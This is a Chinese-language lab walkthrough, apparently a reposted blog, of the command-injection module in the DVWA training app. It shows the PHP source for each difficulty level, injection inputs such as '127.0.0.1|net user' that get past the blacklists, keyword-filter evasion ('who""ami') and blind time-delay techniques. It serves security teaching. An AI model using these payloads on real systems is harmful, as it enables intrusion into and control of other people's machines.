2. DVWA親測命令執行漏洞


 


 
 
先看low級:
提示讓我們輸入一個IP地址來實現ping,猜測會是在系統終端中實現的,
我們正常輸入127.0.0. 1:

那我們就可以利用這個使用其他CMD命令

  我們輸入127.0.0.1&&net user :
 
我們順便看一下源代碼
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
 
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
 
    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
 
?>

 

這樣的話,我們甚至可以用這個漏洞來創建管理員用戶,控制電腦


 

Medium級別:

提示讓我們輸入一個IP地址來實現ping,猜測會是在系統終端中實現的,
我們正常輸入127.0.0.1
那我們就可以利用這個使用其他CMD命令
 
我們輸入  127.0.0.1&&net user : 
 
發現少了兩個 && ,初步估計,應該是后台代碼過濾了,我們來看代碼:
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
 
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
 
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
 
    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
 
?>
發現這兩行代碼
$substitutions = array(
        '&&' => '',
        ';'  => '',
    );
果然把 && 給過濾了,但是還有 | ,|| ,& 等符號可以連接兩條命令
 
我們可以輸入 127.0.0.1&net user :

 

我們可以輸入 127.0.0.1|net user :

 

 
我們可以輸入 127.0.0.1||net user :

 


 
High級別:
 
這次我們先來看源碼:
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
 
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
 
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
 
    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
?>
有這樣一段代碼:
$substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
 
這過濾的真多,簡直要趕凈殺絕
我們可以輸入 127.0.0.1|net user :
 

Impossible等級:
 
我們先來看代碼:
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
 
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
 
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
 
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
 
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?>

 

我們嘗試輸入 127.0.0.1|net user :

這里直接限制了輸入IP的格式,有效地防止了命令注入

 

小技巧
1.如果過濾了敏感字符怎么辦?
   比如如果過濾了 whoami 命令,我們就無法查看當前用戶
但是我們可以用 who""ami  who""am""i 這樣的方式繞過
2.如果不顯示輸出結果怎么辦?
延時注入:
     系統
       命令
windows
ping 127.0.0.1 -n 5 > null
linux
sleep 5
 
遠程請求:
     系統
      命令
windows
ping , telnet 等
linux
wget , curl 等
 
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM